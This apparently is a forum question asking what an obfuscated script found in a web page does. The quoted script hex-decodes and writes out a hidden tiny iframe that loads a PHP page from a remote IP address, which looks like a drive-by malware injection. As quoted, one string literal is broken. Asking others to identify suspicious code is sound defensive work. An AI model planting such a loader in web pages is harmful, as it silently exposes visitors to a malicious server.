How do they do this and does anybody know what this script actually does, is it hijacking traffic?
Code:
<script> var s='3C696672616D65207372633D22687474703A2F2F3230332E3132312E36392E392F65782F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'; var o='; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); ; o=o+c+s.substr(i,2);} document.write(unescape(o)); </script>
